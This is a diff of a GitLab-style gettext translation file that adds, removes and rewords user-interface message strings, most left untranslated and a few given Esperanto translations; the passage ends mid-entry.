@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Intervala Åablono"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Nova peto pri kunfando"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Nova plano"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nova kodaĵo"
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr "Ne estas planoj"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
